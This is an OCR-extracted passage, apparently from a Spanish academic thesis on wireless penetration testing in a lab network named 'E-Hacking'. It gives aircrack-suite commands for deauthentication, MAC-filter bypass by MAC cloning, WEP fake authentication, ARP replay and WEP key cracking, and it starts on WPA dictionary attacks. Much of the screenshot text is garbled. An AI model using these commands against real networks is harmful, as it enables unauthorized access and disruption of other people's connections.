0068 08 60 la 60 2f 48 00 80 68 7c 4e 38 00 60 60 00
0010 10 02 6c ©9 a0 00 bc 01 60 0@ 80 00 00 00 ff ff
ee20 ff ff ff ff c8 d7 19 ae d7 4e c8 d7 19 ae d7 4e
0038 20 29 f6 e5 ba 19 87 80 00 00 64 68 11 84 @0 Of

O # mon0: <live capture in progress> File - Packets: 30997 Displayed: 30997 - Profile Capturing from mon0  [Wireshark 1.8.3
T [4.2.155l... [ root@bt: icd Net... [llicl s W e 101l (SVN Rev Unknown from unknown)]

Figura 4.5 - Consola de Wireshark
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Otro método es forzar que un cliente se des-autentique para

asi generar los paquetes necesarios para obtener

informacion requerida. Como se muestra en la Figura 4.6.

la

~ v | ¥ root@bt: ~
File Edit View Terminal Help
reotfbt:~# aireplay-ng -0 5 -a B8:A3:86:54:2C:88

22:54:02 waiting for beacon frame (BSSID: BB:A3:B6:5A:2C:88) on channel 11

NB: this attack is more effective when targeting
a connected wireless client (-¢ =client's mac=),
22:54:02 Sending DeAuth to broadcast -- BSSID:
22:54:03 Sending DeAuth to broadcast -- BSSID:
22:54:03 Sending DeAuth to broadcast -- BSSID:
22:54:84 Sending DeAuth to broadcast -- BSSID:
22:34:04  Sending Defuth te broadcast -- BSSID:
rootibt:-# ]

mang

[BR:AZ:86:5A4:2C:88]
[BB:AZ:86:5A4:2C: 58]
[BB:A3:86:5A:2C:88]
[BB:A3:B6:5A:2C B8]
[BR:AZ:B6:5A:2C:88]

Figura 4.6 - Captura del proceso de autenticacion

La funcion béasica del airplay-ng es generar trafico para ser

usado en lo posterior por el aircrack-ng y asi realizar el

proceso de obtencion de las claves WEP/WPA/WPA2. La

figura 4.6 muestra la salida del comando airplay-ng. Los

parametros a usar son los siguientes [14]:

- Ataque 0: De-autenticacion

- Ataque 5: Fragmentacion

- BSSID: Direccibn MAC del Punto de Acceso

- MonO: interfaz en modo monitor
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Cuando el Wireshark captura paquetes por medio de la interfaz
inalambrica en modo monitor, se visualizan todos los paquetes
que viajan por el medio, si un cliente nuevo se intenta conectar

se enviara el SSID para completar el proceso de conexion.

Este proceso se muestra en la figura 4.7.

(wlan.bssid == B8:A3:86:5A:2C:88)&&! (wlan.fc.type_sub

No. |Time | Source ‘ Destination | Protocol | Length ‘ Info 3

22348 205.12560346(192.168.0.11 192.168.0.255 NBNS 140 Name query NB DHCPPC2<0@>

22434 205.8408250(192.168.0.11 192.168.0.255 NBNS 140 Name query NB DHCPPC2<0@>

22526 206.5568970(192.168.0.11 192.168.0.255 NBNS 140 Name query NB DHCPPC2<00>

22681 207.9888280(SonyEric_98:24:b3 D-LinkIn_5a:2c:88 802.11 54 Null function (Mo data), SN=9, FN=8, F
22693 208.0911390(SonyEric 98:24:b3 (BSSID) D-LinkIn S5a:2c:88 (BSSID) 862.11 46 Power-Save poll, Flags=...P....C

22699 208.1121770(192.168.0.12 1192.168.0.1 TCP | 104 33562 > http [ACK] Seq=1 Ack=1 Win=345
22823 209.5344040(SonyEric_98:24:b3 D-LinkIn_5a:2c:88 802.11 82 Probe Request, SN=15, FN=0, Flags=...F
22825 209.53701406(D-LinkIn 5a:2c:88 SonyEric 98:24:b3 802.11 251 Probe Response, SN=4, FN=8, Flags=....
23336 214.8525940(SonyEric_98:24:b3 D-LinkIn_5a:2c:88 802.11 82 Probe Request, SN=17, FN=8, Flags F

23338 214.8551480(D-LinkIn_5a: SonyEric_98:24: 0 251 Probe Response, SN=6, FN=0, Flags

23728 217.80029306(SonyEric_98:24:b3 D-LinkIn_5a:2c:88 802.11 82 Probe Request, SN=18, FN=B, Flags=. '

23762 217.2844660(D-LinkIn_96:3a:f@ D-LinkIn_5a:2c:88 802.11 54 Null function (Mo data), SN=882, FN=8, -
— .
|+| Radiotap Header v@, Length 26 - N
|+| IEEE 802.11 Probe Response, Flags: ........ C
|—| IEEE 802.11 wireless LAN management frame

[+] Fixed parameters (12 bytes)

=] Tagged parameters (185 bytes)
|=| Tag: SSID parameter set: E-Hacking
Tag Number: SSID parameter set (8)
Tag length: 9

SSID: E-Hacking .
e —— L2
CLIAM00 00 1a 80 2f 48 60 00 82 da ab 00 00 08 08 i . 4
CEICEN10 02 9e 09 a0 00 e2 01 @0 50 00 3a 01 6¢ 23 '

Clrl’Blb9 98 24 b3 b8 a3 86 5a 2c 88 b8 a3 86 5a 2c 88
GLECNMGO 00 49 a8 31 cc 00 @0 @0 64 00 21 05 €0 09

@ ® Frame (frame), 251 bytes = Packets: 23915 Displaye... = Profile: Default

Figura 4.7 - Paquetes capturados por Wireshark

Una vez capturado una cierta cantidad de paquetes, estos
seran visibles en el Wireshark, es posible utilizar un filtro para
supervisar todos los paquetes no-beacon (no guiados), de
extremo a extremo. (wlan.bssid == B8:A3:86:5A:2C:88) &&

(wlan.fc.type_subtype == 0x08) [13]
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4.3.2. Eludir Filtrado MAC

El filtrado de direcciones MAC es una técnica de proteccion,
autenticacion y autorizacion que aldn se piensa que es un
método para asegurar la red, ya que solo los equipos
registrados en la tabla MAC del Ruteador o Punto de acceso
pueden conectarse. La figura 4.8 muestra un escenario de red

protegido por filtrado de direcciones MAC.

Status: 0 Activated Deactivatad
Action: | Allow Associztion | the follow Wireless LAN station{s) associoation.
MAC Address 1 00:15:23:52:25:5E
MAC Address #2 00:00:00:00:00:00
MAC Address #3  00:00:00:00:00:00 — c— —
MAC Address ¥4 00:00:00:00:00:00 ]
MAC Address 5 00:00:00:00:00:00 I
MAC Address #  00:00:00:00:00:00

MAC Address #7 = 00:00:00:00:00:00 l La direCd én MAC del

| equipo no se encuentra
registrada

B8 -

e
Direccion MAC: Direccion MAC:
00:16:E3:6E:25:SE 00:N2:B1:6E:80:DA

Figura 4.8 - Escenario de red: clientes registrados en la tabla MAC
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Este método de seguridad solo se basa en las direcciones
fisicas de los equipos (MAC), que se encuentra guardada en
una tabla que poseen los equipos de conexidn, en este caso
un Ruteador inaldmbrico. Como se muestra en la figura 4.9, si
un cliente intenta conectarse la operacion no tendra éxito
debido a que la direccion MAC no se encuentra registrada, sin
importar que la red se encuentre asegurada con una clave o

sin clave.

Choose from the networks below:

Andinatel 100% WPA2 Channel 11
[ Automatically connect to this network

i .
| Connect | | Properties
E-Hacking 100% Unsecured Channel 11
[ Automatically connect to this network

-]

| Connect | | Properties |

Connection Failed: Unable to Get IP Address
-l é
e . v

[ M anmne + | | Branarkine |

Not connected

Figura 4.9 - Conexidén ared protegida con filtrado MAC
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Para proceder a conectarse a un punto inalambrico sin tener
que estar registrado en la tabla MAC, es necesario monitorear
el entorno y esperar a que un cliente se conecte, en este caso
para tomar su direccion MAC y copiarla. El proceso se realiza

mediante el siguiente comando:

Airodump-ng —c <Canal> —-a --bssid <Direccion Mac>

<interfaz monitor>

El parametro —C indica el canal en el que se encuentra
trabajando la red inaldmbrica, el parametro —a asegura que
solo se muestre informacion del cliente que se ha conectado al
Punto de Acceso, el BSSID , es la direccion MAC del punto de
acceso al cual se desea conectar. La salida de este comando

se muestra en la figura 4.10.

5, W

* root@bt: ~

File Edit View Terminal Help

CH 11 ][ Elapsed: 52 s ][ 2014-82-22 80:54

BSSID PWR RXD Beacons #Data, #/s CH MB ENC CIPHER AUTH E
BE:AZ:B6:5A:2C:88 -25 69 464 121 3 11 54e. ofd E
BS5ID STATION PWR  Rate Lost Frames Probe
BBIAZ:B6:5A:2C:88 | C4:17:FE:23:74:B5 -16 B - 1e o 8

Figura 4.10 - Direccion MAC del cliente que sera copiada
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Una vez obtenida la informacion requerida se procede a la
utilizacion del comando <macchange>, el cual permite
cambiar direccion MAC propia de la interfaz inalambrica que se

esté usando. La figura 4.11 muestra el funcionamiento de este

comando.

~ w | ¥ root@bt: ~

File Edit View Terminal Help

roctEbt:~# ifconfig wlanl down

rootEbt:-# macchanger -m C4:17:FE:23:74:B5 wlanl
Current MAC: 88:c0:€2:62:02:17 (Alfa, Inc.)
Faked MAC: cd:17:fe:23:74:b5 (unknown)
rootEbt:~# []

Figura 4.11 - Cambio de direccion MAC a una interfaz de red

Una vez que el equipo que no pertenece a la red copia la
direccibn MAC de un cliente, este realiza un proceso de des-
autenticacion para desconectar al host cliente y poder conectar
el equipo intruso a la red mediante la MAC duplicada. La figura
4.12 muestra como luego de copiar la direccion MAC de un
cliente legitimo le es posible al atacante conectarse a la red. El
atacante tendra acceso a la red mientras que el cliente original
no podra conectarse debido a que ya existe un equipo con una

MAC registrada (MAC duplicada).



Status:

Action:

MAC Address #1
MAC Address #2
MAC Address #3
MAC Address #4
MAC Address #5
MAC Address #6

MAC Address #7

=)

@) Activated !

' Deactivated

Allow Ass0C73tion | tae follow Wirslass LAN station(s) 2ssocioation.

00:16:E3:6E:25:5E
00:00:00:00:00:00
00:00:00:00:00:00
00:00:00:00:00:00
00:00:00:00:00:00
00:00:00:00:00:00

00:00:00:00:00:C0

Direccion MAC:

00:16:E3:6E

:25:SE

Usuario

Figura 4.12 - Diagrama de red: Intervencion de intruso mediante direccion MAC

|
|
|
|
|
|
|
v

Conexion exitosa

[A—

Direccion MAC:
00:16:E3:6E:25:SE

Atacante
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Al realizar una comprobacion de la conexion mediante el

comando <iwconfig>, se puede observar que el equipo intruso

se encuentra asociado al punto de acceso antes visto. La

figura 4.13 muestra la salida de este comando.
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~ « | x root@bt: ~

File Edit Wiew Terminal Help

rootZbt:~# ifconfig wlanl up

rootEbt:~# iwconfig wlanl essid “E-Hacking" channel—1le—.

rootEbt:~# iwconfig wlan} )

wWlanl TEEE 882.11bg | ESSID:"E-Hacking" —
Mode:Managed Frequency:2.462 GHz— Access Fm.nt B8:A3: BE'EH 2088

Bit Rate=1 Mb/s  Tx-Power=27 dém T
Retry Tlong limit:7  RTS thrioff Fragment thriaff 7 T
Encryption key:off -

Power Management:off

Link Quality=70/70 Signal level=-28 dBm

Fx invalid nwid:0 FRx invalid crypt:8 Rx invalid frag: EI '~
Tx excessive retries:0 Invalid misc:14  Missed beacon:@

Figura 4.13 - Resultado de conexion mediante una direccion MAC copiada

4.3.3. Eludir autenticacién de clave compartida WEP

Para realizar una prueba de intrusién en una red inaldmbrica,
es necesario detectar un punto de acceso vulnerable. La figura

4.14 muestra el proceso de autenticacion de clave compartida.

mE mE mE mE
" - . . " . "
EE "R @m's m'E -
E ... .-. ... ...
= 0
Cliente El cliente envia una solicitud (request) de autenticacion hacia el AP

El AP envia la respuesta de autenticacion que contiene el texto sin cifrar

El cliente cifra el texto mediante clave WEP ( 64 bits o 128 bits ) y la envia al
AP

El AP compara el texto sin cifrar con el texto enviado por el cliente, ya
cifrado, si el texto es el mismo, el AP permite la conexion del cliente a la red

Figura 4.14 - Proceso de autenticacidn con clave compartida
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Con un escaneo general de las redes disponibles se obtendra
el SSID de la red, sefial, direccion MAC del Punto de Acceso, y
lo mas importante, el tipo de seguirdad. Toda la informacion
recolectada es indispensable para poder realizar una conexion
exitosa hacia la red. Entre mas oOptima sea la sefial que emite
el Punto de Aceso mayor sera la posibilidad de conexion. La
figura 4.15 muestra la interfaz del software inSSIDer, una de
las herramientas que permiten hacer un escaneo general de

las redes inalambricas.

En el gréfico se puede observar una red con una sefial éptima,
y con seguirdad de clave compartida — WEP, la cual sera de

utilidad para realizar la prueba descrita.

Una vez obtenida la informacion se procede a realizar un
monitoreo de la red en espera que un cliente se conecte para
interceptar los paquetes de asociacion que se envian entre el
Punto de Acceso y el clente mediante el comando

<airodump-ng>
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5SSO S v oW SEQRITY MAC ADCRESS ee2.11

B & Aanets B .25 1] WPA2Perscod  FBLOFFOFFIEC 9N
B pécaa e *47 30 WEF REBFIZEFABLT D
P. Agurre y Escobado ————— *7] WPA2Persond OANISSERE 29D 9
MWR 201 - — « *77 1 WPASPond 0619886250 ¢
I COMTEDEEIFRESA — - 83 11 WPAZPersond 0065 AT E0DIN
AP OGNS 33 £ WA Fersondd BFCEB.JAE6AIN
TEAM 83 1 WPAZ2Enterpree CE19SEB6: 290 ¢
PRS— - & I | WA -Fersond E 1986290 ¢
kol . 87 3 wer DCSF DB OFAE n
» g SR L] 93 6 WA Persony ICCTEES®B:BAn
TEAM 8 1 WPA2ENterpree CE:19.SER6.58 6 9
P AP 2. 89 1} VWA D Perwonyd 0519 EPASBE QO
o5 N VAL N Duwernand W LT DL COL" A

Figura 4.15 - Interfaz del software inSSIDer

Una vez que un host se conecte al Punto de Acceso sera
detectado, indicando cual es su direccion MAC y el tipo de
autenticacion que usa, en este caso SKA. Un indicador de que
se ha capturado la informacion necesaria para descifrar la
clave compartida es que en la columna AUTH se muestre el
tipo de autenticaciébn. Esto se muestra en la salida del

comando <airodump-ng> en la figura 4.16.

CH 11 ][ Elapsed: 52 s ][ 2014-985-25 15:14 ][ 149 bytes keystream: B3:A3:86:5A
BSSID PWR FXQ Beacons #Data, #/s CH MB  ENC CIPHER AUTH E
BB:A3:86:5A:2C:88 -40 93 396 121 @ 11 54e. WEP WEP SEATE
BS5ID STATION PWR  Rate Lost Frames Probe

BB:A3:86:5A:2C: 88 AC:72:89:09:2C:50 -20 g - Ge 8 238

Figura 4.16 - Informacién del cliente conectado a lared
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La captura realizada se guardara en un directorio con el
nombre por defecto, esto sera keystream - direccion mac -
xor el cual contiene la clave compartida. En la figura 4.17
vemos un ejemplo de un archivo keystream generado

automaticamente.

root@bt:~# 1s

Desktop kKeystream-0L1.csv
keystream-01-B8-A3-86-5A-2C-88.x0r | keystream-01.kismet.csv
keystream-01.cap keystream-01.kismet.netxml
root@bt:~# |}

Figura 4.17 - Archivos creados automaticamente al monitorear la red

Para falsificar una autenticacibn de clave compartida, es
necesario usar la herramienta <aireplay-ng>, la cual sus

pardmetros son descritos en la Tabla 2:

aireplay-ng -1 0 —-e E-Hacking -y keystream-01-
B8:A3:B6:5A:2C:88.XOR -a B8:A3:B6:5A:2C:88 -h

aa:aa:aa:aa:aa:aa mon0

Parametro Descripcion

-1 Falsa autenticacién

0 tiempo de re asociacion en
segundos




-e E-Hacking Nombre de la red Wireless

-y keystream...xor | Nombre del archivo capturado
-a Direccién MAC del Punto de
B8:A3:86:52:2C:88 | acceso

-h Direccion MAC falsa
Ja:aa:aa:aa:aa:aa

mon0 Nombre de la interfaz usada

Tabla 2 - Parametros del airplay-ng
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Si todos los pardmetros se encuentran correctos al ejecutar el
comando <aireplay-ng> se mostraran varioS mensajes

indicando una autenticacion exitosa hacia el punto de acceso

seleccionado, como se puede observar en la figura 4.18

The interface MAC (90:C0:CA:62:02:17) doesn't match the specified MAC (-h).

13:

15:
15:
15:
15:
15:
15:

X

37:
:34  Authenticatien 1/2 successful

:34  Sending encrypted challenge. [ACK]
:34 Authentication 2/2 successful

:34  Sending Association Request [ACK]
134 Association successful :-) (AID: 1)

37
37
37
37
37

ifcontig mond hw ether AA:ARAA L AS T AAT AR

134 Waiting for beacon frame (B55ID: B8:A3:86:5A:2C:88) on channel 11

34 Sending Authentication Reguest (Shared Key) [ACK]

Figura 4.18 - Proceso de autenticacion con la direccion MAC falsa

Para verificar el éxito de la prueba, en la tabla de clientes
inalambricos que posee el ruteador se puede observar un
cliente asociado con una MAC distinta a las direcciones

habituales. Esto se puede observar en la figura 4.19
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La direccion MAC aa:aa:aa:aa:aa:aa falsa es la que se ha
ingresado para realizar la autenticacion, el ruteador no puede
determinar la veracidad de la MAC, tan solo evalla la clave
compartida. Cabe recalcar que en este proceso no se sabe en
ningin momento cual es la clave, tan solo se realiza el proceso

de autenticacion hacia un punto de acceso.

NUMBER. OF WIRELESS CLIENTS : 2

MALC Address ||IP Address ||Mul:le ||Rate ||5ignal[%] |
ac:72:89:e9:2c:50 192.168.0.100 30211y 53M 100
a3 as;aaaaaaaa nooa 802 11g Oma 100

Figura 4.19 - Direccion MAC falsa agregada a la tabla MAC del Ruteador.

4.4. ATAQUES EN LA INFRAESTRUCTURA

Estos ataques estan enfocados a los principales protocolos de
seguridad en redes inalambricas, desde los primeros en aparecer
como WEP hasta sistemas de seguridad mas complejos que incluyen
el uso de servidores de autenticacibn como WPA2-Enterprise con
servidores RADIUS. La figura 4.20 muestra un ejemplo de un posible

escenario de ataque.
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SSID
E-HAcking

()
()

Interfaz en modo
Monitor

Cliente

Figura 4.20 - Escenario de red: Mecanismo de seguridad WEP

Descifrar claves WEP

El primer paso para realizar el procedimiento de conexion
hacia una red con seguridad WEP, es realizar un escaneo de
las redes disponibles en el medio que se encuentre
configurado con dicha seguridad. La figura 4.21 muestra una
red con seguridad WEP detectada por medio del administrador
de redes inalambricas de Linux. Una vez localizado el objetivo
se debe iniciar la interfaz inalambrica en modo monitor como

se muestra en la figura 4.22.



Choose from the networks below:

E-Hacking 88% WEP Channel 11
[ Automatically connect to this network

|
| Connect | | Properties |

Figura 4.21 - Red con seguridad WEP

rootibt:~# airmon-ng start wlang

Found 2 processes that could cause trouble.
If airoduzp-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill {some of) them!

PID Name

1868 dhelient3

1718 dhelient3

Process with PID 1682 {ifup) is rumning on interface wlan@
Process with PID 1718 (dhclient3) is running on interface wland

Interface Chipset Driver

wlang FRealtek RTLE137L rtl8 167, [ phya]
(monitor mode|enabled-on mang)

Figura 4.22 - Interfaz modo monitor: Monitoreando conexiones WEP

Con el comando <Airodump-ng> obtendremos

50

mas

informacion de la red inalambrica como la direccion MAC del

AP, el tipo de seguridad usada, el canal de transmision, y la

potencia de la sefal; toda esta informacion es valiosa para

realizar la respectiva conexion. La figura 4.23 muestra la salida

del comando <Airodump-ng>.
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BSSID PR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
Q2:E8:F2:EF:AB:6T -1 186 475 @ 16 11 WEP WEP Epiicaa

A2 f-B2- 110850 1 B a Ol 11 WED _ED Fidaca

BE: A3 86542088 -29 369 [:] g 11 5d4e. WEP WEP E-Hackim
F&:30:FF:0F:F3:6C -53 499 17 8 11 54e. WPAZ CCMP P3K  Andinate -
00:66:4B:AT:60:DC  -62 125 a @ 11 54e. WPAZ CCMP PSK  COMITEDEEMPRES
06:19:5E:86:29:09 -63 178 L:] @ 1 54e. WPAZ CCMP PSK  MWR201
QE:19:5E:B6:29:D9 -65 182 a @ 1 54e. WPAZ CCMP MGT TEAM
OA:19:5E:86:29:D09 -66 174 a @ 1 54e. WPAZ CCMP  PSK P. Aguirre y Escobedo
3E:19:5E:B6:29:D9 -65 170 ] 8 1 54e. WPAZ CCMP PSK  <length: 17=
3E:19:5E:B6:58:62 -66 123 a 8 1 54e. WPAZ CCMP PSK  =length: 17=
06:19:5E:06:58:62 -66 129 ] @ 1 54e. WPAZ CCMP PSK  IAP22

E8:35:DF:0F :EF:A4 -67 G2 i] 6 11 54 WPA CCMP  PSK  FIGUERQA
OA:19:5E:B6:58:62 -67 140 a @ 1 54e. WPAZ CCMP PSK  Urdaneta y Quito
QC:84:DC:64:BE: BT -67 83 1 @ 11 54e WEP WEP Claro MOREIRADOOOE99289
DC:9F:DB:60:FA:4F  -67 16 o 0., 3 5d4e. WEP WEP Lkbor3

Figura 4.23 - Escaneo de redes disponibles

Para la prueba se tomoé la direccibon MAC del AP --
88:A3:86:5A:2C:88, y se procedid a monitorear solo dicho punto
de acceso, en espera de que un cliente se conecte. Una vez
gue el cliente se conecté toda la informacion que viajaba por el

medio se guardo en un archivo.

El comando <airodump-ng> es el encargado de capturar
paquetes del medio inalambrico ademas de acumular los
vectores de inicializacion que seran usado con el <aircrack-ng>
con el fin de obtener la clave WEP. La figura 4.24 muestra la

salida del comando <airodump-ng> donde podemos observar



el proceso de conexion entre el cliente y el
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AP.

airodump-ng -bssid B8:A3:86:5A:2C:88 --channel 11 --write WEP E-hackinglLab mon®
CH 11 ][ Elapsed: 1 min ][ 2014-05-25 18:23

BSSID PWR RXQ Beacons #Data, #/s (H MB ENC CIPHER AUTH ESSID
B8:A3:86:5A:2C:88 -7 © 776 223 1 11 54e. WEP WEP OPN E-Hacking
BSSID STATION PWR  Rate Lost Frames Probe
B8:A3:86:5A:2C:88 AC:72:89:(9:2C:50 -9 0 - 6e 4 275

Figura 4.24 - Proceso de conexion: Cliente-AP

A continuacion se detalla el significado de cada uno de los

campos mostrados por el comando <airodump-ng> [15]:

- BSSID: Direccion MAC del punto de acceso.

- PWR: Nivel de sefial. Su significado depende

del

controlador que usemos, pero cuanto mayor sea el

PWR mas cerca estaremos del AP o del cliente. Si el

PWR es -1, significa que el controlador no soporta la

deteccion del nivel de sefal. Si el PWR es -1 para

algunos clientes (estaciones) es porque los paquetes

proceden del AP hacia el cliente pero
transmisiones del cliente se encuentran fuera

rango de cobertura de la tarjeta. Lo que significa

las

del

que

solo escuchas la mitad de la comunicacién. Si todos

los clientes tienen PWR -1 significa que el controlador

no tiene la capacidad de detectar el nivel de sefial.
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RXQ: Calidad de recepcion calculada a través del
porcentaje de paquetes recibidos correctamente en
los ultimos 10 segundos.

Beacons: Numero de “paquetes anuncio” o Beacons
enviadas por el AP. Cada punto de acceso envia
alrededor de diez Beacons por segundo cuando la
velocidad (rate) es de 1M, (la mas baja) de tal forma
gue se pueden recibir desde muy lejos.

# Data: Numero de paquetes de datos capturados (Si
tiene clave WEP, equivale también al numero de 1Vs),
incluyendo paquetes de datos broadcast (dirigidos a
todos los clientes).

#/s: Numero de paquetes de datos capturados por
segundo calculando la media de los dultimos 10
segundos.

CH: Canal en la que se encuentra el AP.

MB: Velocidad soportada por el AP.

ENC: Algoritmo de encriptacién que se usa. OPN = no
existe encriptacion (abierta),"WEP?” = WEP u otra (no
se han capturado suficientes paquetes de datos para

saber si es WEP o WPA/WPA2), WEP (sin el



54

interrogante) indica WEP estética o dinamica, y WPA
0 WPAZ2 en el caso de que se use TKIP o CCMP.
CIPHER: Tipo de cifrado de datos, Puede ser CCMP,
WRAP, TKIP, WEP, WEP40, o WEP104.

AUTH: El protocolo de autenticacion usado. Puede
ser MGT, PSK (clave pre compartido), o OPN
(abierta).

ESSID: También llamado “SSID”, que puede estar en
blanco si la ocultacion del SSID esta activada en el
AP. En este caso, airodump-ng intentara averiguar el
SSID analizando paquetes “Probe responses” vy
“association request” (son paquetes enviados desde
un cliente al AP).

STATION: Direccion MAC del Cliente conectado al
AP.

Lost: El nUmero de paquetes perdidos en los ultimos
10 segundos.

Frames: El nimero de paquetes de datos enviados
por el cliente.

Probes: Los ESSIDs a los cuales ha intentado

conectarse el cliente.
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La figura 4.25 muestra la salida del comando <Is>, donde se
podra observar varios archivos creados, los cuales contienen la
informacion de negociacion entre el Punto de Acceso y el
cliente. Posteriormente se ejecutd el comando <aireplay-ng>

de la siguiente manera:

‘oot@bt:~# aireplay-ng -3 -b B8:A3:86:5A:2(C:88 -h AC:72:89:C9:2C:50 mong)

root@bt:~# 1s

Desktop keystream-81.kismet.netxml
keystream-01-B8-A3-86-5A-2C-88.xor WEP E-hackinglab-0l.cap
keystream-01.cap WEP_E-hackinglLab-01.csv
keystream-01.csv WEP E-hackinglLab-0l.Kismet.csv
keystream-0l.kismet.csv WEP E-hackinglLab-01.kismet.netxml
root@bt:~# []

Figura 4.25 - Archivos que contienen informacién de conexion Cliente-AP

Al momento de ejecutar el aireplay-ng, el airodump-ng también
empezard a trabajar y a registrar todos los paquetes
generados (frames). La informacion obtenida por los

comandos descritos se muestra en las figuras 4.26, 4.27.
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CH 11 ][ Elapsed: 55 mins ][ 2014-85-25 19:16 -

BSSID PWR RX0 Beacons #Data, #f/5 CH MB ERC CIPHER AUTH ESSID

BE:AZ:86:5A:2C0:88 -19 D 22338 23903 8 11 54¢. WEP WEP 0PN E-Hacking

BSSID STATION PWR  Rate Lost Frames RBrobe -

BE:AZ:86:5A:20:88 AC:T72:89:09:2(:50 @ 3Ge- 1 126289 148430

~ v | % root@bt: ~
File Edit Wiew Terminal Help

rootibt:~# aireplay-ng -3 -b BE:A3:86:5A:2C:88 -h AC:72:89:09:2C:50 mand
The interface MAC (08:00:CA:62:02:17) dogsn™t match the specified MAC {-h).
ifconfig mond hw ether AC:72:89: ﬁ? 12058 rl
19:13:36 Waiting for beacon frame, (BSSID:7BB: A3 BE:SA:2CE 83)|anychannel 1lm = [P
Saving ARP reguests im reptay arp 8525-191336. cap—— |f | & & ! |
You should alse start airddump-ng; Wto capture! replies| '\ '-*5\\ || -

1ead 113757 packets {got 48831 ARF requests and 38533 Acﬁsf. Sent 85?ﬁﬁ packets

Figura 4.26 - Proceso de generacion de tramas

Read 10467 packets {got 4037 ARP requests and 2903 ACKs), sent 3106 packets...(d

Read 10580 packets {got 4100 ARP requests and 2945 ACKs), sent 3156 packets...(d

Read 108735 packets (got 4191 ARP requests and 3000 ACKs), sent 3206 packets...(d

Read 10857 packets (got 4260 ARP requests and 3045 ACKs), sent 3257 packets...(5

Read 10985 packets (got 4334 ARP reguests and 3092 ACKs), sent 3306 packets...(d

fead 11118 packets (got 4414 ARP requests and 3138 ACKs), senmt 3350 packets...(d

fead 11256 packets (got 4496 ARP requests and 3187 ACKs), semt 3407 packets...(d

fead 11399 packets (got 4383 ARP requests and 3235 ACKs), semt 3457 packets...(d

Read 11521 packets (got 4652 ARP requests and 3281 ACKs), semt 3507 packets...(4 —
Read 11643 packets (got 4720 ARP requests and 3325 ACKs), semt 3557 packets...(4
Read 11775 packets (got 4796 ARP requests and 3372 ACKs), sent 3687 packets...(4
Read 11918 packets (got 4879 ARP requests and 3424 ACKs), sent 3657 packets...(4
Read 12048 packets (got 4932 ARP requests and 3473 ACKs), semt 3783 packets...(5
Read 12168 packets {got 5020 ARP requests and 3516 ACKs), senmt 3758 packets...(5
Read 12285 packets {got 5086 ARP requests and 3360 ACKs), sent 3803 packets...(5
Read 12414 packets (got 5161 ARP requests and 3604 ACKs), sent 3858 packets...(5
Read 12546 packets (got 5236 ARP requests and 3652 ACKs), sent 3908 packets...(5
Read 12642 packets (got 5287 ARP requests and 3689 ACKs), sent 3958 packets...(5
Read 12767 packets (got 5358 ARP requests and 3734 ACKs), sent 4008 packets...(5
Read 12904 packets (got 5440 ARP reguests and 3781 ACKs), sent 4058 packets.o.(d
rnead 13036 packets (got 5512 ARP requests and 3833 ACKs), sent 4108| packets...(d
read 13173 packets (got 5587 ARP.requests and BHEB:AEHSI'“sent’HISE pa:kets...t4 EI:J M-
Read 13314 packets (got SG68 ARP requESts and 3935 |ACKs)o sent 4208 packets. 04 {
Pead 157271 packets (got 86357 HRP requests and\56342 ACKS) | sen; 51364 packets . (499 pps)

Figura 4.27 - Requerimientos ARP
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Todos estos paquetes son almacenados en los archivos antes
creados (WEP_E-hacking.cap). Entre mayor sea la cantidad de
tramas enviadas habrd mayor posibilidad de obtener la clave
de la red inalambrica. Cuando la herramienta sea capaz de
capturar la suficiente cantidad de Vs, la contrasefia podra ser
descifrada. La figura 4.28 muestra el analisis de los IVs

capturados y el proceso de descifrado de la contrasefia.

[G@:02:48] Tested 156021 keys [got 59875 IVs)

KE depth  byte{vete)

a Bf 3 XT(T4T52) TL{T3934) 15(70912) FI[696G32) 12{69370)
1 B/ 1 T77(85760) A3Z{70144) CA(69376) C4(6E864) E1{636EE)
2 B 1 G5{TT56E)} TE(TOL44) ES(TOl44) DA[6D3ITEe) 2C(68352)
3 gs 1 T2{73472) 3IB(69128) 4F(6B3I52) TI(68352) 3IC{67534)
4 ar 1 Ta(B1664) aC{74240) FT(69632) F1{69376) 46(69120)
5 Bf 2 T9{73728) 3IB{TIZIG) QF(TO912) 37(78144) FT{69376)
[+ By 1 T5{8673¢) 47(70656) 49(69376) 3C{GE364) 5SB{67E40)
7 0 1 69{B3T12) 6O(T5264) GF(TIL6E) 53[70912) 2ZF(Ta144)
4 By 1 GF{B2GEB) 2F{72960) GC(71163) F2{G69632) 13{(08332)
@ ay 1 To{81408) BE{73472) 51(6B364) SFIGE0%9G} AD{67534)
1@ 1/ 1 C4{7116B)} S1{69376) BG(69128) 17(6B352) 25(63352)
11 1y 1 FE(GZGEE) DC{63352) 1B(G6BAB96) ZD(GE0%G) AA(G3D9G)
12 8 1 6G4{7EOR0) CA{T2704) Ad|60888) DO[AD3TE) 4D{6A352)

KEY FOUND?! [ 71:77:05:72:74:79:75:69:6F:70:61:73:04 ] _(ASCIL: gwertyuiopasd

Decrypted correctly: 100%

Figura 4.28 - Comprobacién de IVs y proceso de descifrado

4.4.2. Descifrar claves WPA/WPA?2

Para poder descifrar claves WPA/WPA2 se debe tener en
cuenta la complejidad que esto representa, ya que el proceso

de cifrado es mas complejo que WEP.
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Se mostraran 2 formas, de obtener una clave WPA/WPA2

- Ataque de Diccionario

- John the Ripper

El atague de diccionario

Se lleva a cabo mediante un archivo con multiples palabras
contenidas normalmente en un diccionario real que puede
estar en diversos idiomas. De manera predeterminada el
sistema operativo usado para realizar las pruebas viene con un
diccionario cargado el cual servird para realizar un ataque de
bajo nivel para demostrar el procedimiento y funcionamiento

del ataque de diccionario

Para empezar con el procedimiento de obtencién de una clave
WPA/WPA2 es necesario realizar un escaneo de las redes
disponibles, por lo general mayoria de redes de
microempresas, nhegocios o0 de casa poseen claves

WPAWPAZ2.

En la figura 4.29 como resultado del escaneo de las redes
podemos visualizar una red (E-Hacking) que posee una clave
WPA la cual se puede atacar. El algoritmo de cifrado (ENC) es

WPA, el tipo de cifrado es TKIP vy la autenticacién es PSK.
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B55ID FrWR  Beacons #Data, #f/s CH MB ENC CIPHER AUTH ESSID
Ef:A3:80:00: 20088 -26 1% i g 11 5de. WPA TRIP  PSK E-Hackin |

0L 1L BALER: - e, W il b
F&:1A:67:02:9F: 30 -52 12 a 8 11 5de, WPAZ COMP PSK tvcable-lema
14:06:40:C0:FE:2E -G66 14 a 8 6 548 WPAZ CCMP PSK dlink
90:F6:52:24:F2:D6 -G67 9 L] @8 11 54e. WEP WEP akolatronic
